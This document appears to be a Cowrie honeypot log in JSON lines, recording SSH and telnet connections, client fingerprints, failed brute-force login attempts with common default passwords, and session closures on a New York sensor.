{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:54.825310Z","src_ip":"165.154.137.186","session":"cd06c4bf49c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:55.589686Z","src_ip":"165.154.137.186","session":"cd06c4bf49c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:56.855108Z","src_ip":"165.154.137.186","session":"cd06c4bf49c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.55951642990112,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:57.855861Z","src_ip":"128.199.8.54","session":"2fad9270c1db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":58810,"dst_ip":"159.203.135.109","dst_port":22,"session":"63654964696a","protocol":"ssh","message":"New connection: 85.198.19.241:58810 (159.203.135.109:22) [session: 63654964696a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.294402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.300849Z","src_ip":"85.198.19.241","session":"63654964696a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39044,"dst_ip":"10.17.0.5","dst_port":22,"session":"1548f5df75f3","protocol":"ssh","message":"New connection: 165.154.137.186:39044 (10.17.0.5:22) [session: 1548f5df75f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.350052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.355815Z","src_ip":"165.154.137.186","session":"1548f5df75f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.699001Z","src_ip":"165.154.137.186","session":"1548f5df75f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48790,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f3e330f25bc","protocol":"ssh","message":"New connection: 62.133.62.83:48790 (159.203.135.109:22) [session: 2f3e330f25bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.833507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.838239Z","src_ip":"62.133.62.83","session":"2f3e330f25bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:02.920776Z","src_ip":"62.133.62.83","session":"2f3e330f25bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123456w","message":"login attempt [root/q123456w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:03.193297Z","src_ip":"62.133.62.83","session":"2f3e330f25bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:03.526391Z","src_ip":"165.154.137.186","session":"1548f5df75f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:04.279302Z","src_ip":"62.133.62.83","session":"2f3e330f25bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:04.806847Z","src_ip":"165.154.137.186","session":"1548f5df75f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:20.676416Z","src_ip":"85.198.19.241","session":"63654964696a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:20.683702Z","src_ip":"85.198.19.241","session":"63654964696a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36608,"dst_ip":"10.17.0.5","dst_port":22,"session":"357a0be137ef","protocol":"ssh","message":"New connection: 165.154.137.186:36608 (10.17.0.5:22) [session: 357a0be137ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:34.047378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:34.052120Z","src_ip":"165.154.137.186","session":"357a0be137ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:34.331097Z","src_ip":"165.154.137.186","session":"357a0be137ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:35.168489Z","src_ip":"165.154.137.186","session":"357a0be137ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:36.452101Z","src_ip":"165.154.137.186","session":"357a0be137ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48886,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2a9d9f154e1","protocol":"ssh","message":"New connection: 165.154.137.186:48886 (10.17.0.5:22) [session: a2a9d9f154e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:37.640880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:37.647019Z","src_ip":"165.154.137.186","session":"a2a9d9f154e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52210,"dst_ip":"159.203.135.109","dst_port":23,"session":"43a0c8ca88d7","protocol":"telnet","message":"New connection: 172.81.62.90:52210 (159.203.135.109:23) [session: 43a0c8ca88d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:37.759642Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:37.907641Z","src_ip":"165.154.137.186","session":"a2a9d9f154e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:38.686869Z","src_ip":"165.154.137.186","session":"a2a9d9f154e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52222,"dst_ip":"159.203.135.109","dst_port":23,"session":"398b6604b935","protocol":"telnet","message":"New connection: 172.81.62.90:52222 (159.203.135.109:23) [session: 398b6604b935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:38.784342Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49958,"dst_ip":"10.17.0.5","dst_port":23,"session":"4583a5bcd54b","protocol":"telnet","message":"New connection: 94.23.66.112:49958 (10.17.0.5:23) [session: 4583a5bcd54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:39.538280Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:39.948013Z","src_ip":"165.154.137.186","session":"a2a9d9f154e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43368,"dst_ip":"10.17.0.5","dst_port":22,"session":"cab4792683e6","protocol":"ssh","message":"New connection: 165.154.137.186:43368 (10.17.0.5:22) [session: cab4792683e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:42.437344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:42.441760Z","src_ip":"165.154.137.186","session":"cab4792683e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:42.691341Z","src_ip":"165.154.137.186","session":"cab4792683e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:43.448013Z","src_ip":"165.154.137.186","session":"cab4792683e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:44.699406Z","src_ip":"165.154.137.186","session":"cab4792683e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":48005,"dst_ip":"10.17.0.5","dst_port":22,"session":"96cf9ac0cebe","protocol":"ssh","message":"New connection: 170.80.65.140:48005 (10.17.0.5:22) [session: 96cf9ac0cebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:47.112999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:47.117479Z","src_ip":"170.80.65.140","session":"96cf9ac0cebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:47.247277Z","src_ip":"170.80.65.140","session":"96cf9ac0cebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:47.787281Z","src_ip":"170.80.65.140","session":"96cf9ac0cebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:48.916368Z","src_ip":"170.80.65.140","session":"96cf9ac0cebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46210,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1cbafde0cb9","protocol":"telnet","message":"New connection: 172.81.62.90:46210 (159.203.135.109:23) [session: e1cbafde0cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:04:53.753004Z"}
{"eventid":"cowrie.session.closed","duration":37.0586953163147,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:15.842652Z","src_ip":"172.81.62.90","session":"398b6604b935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46438,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40006e1f9cc","protocol":"ssh","message":"New connection: 165.154.137.186:46438 (10.17.0.5:22) [session: c40006e1f9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:16.007122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:16.011401Z","src_ip":"165.154.137.186","session":"c40006e1f9cc","protocol":"ssh"}
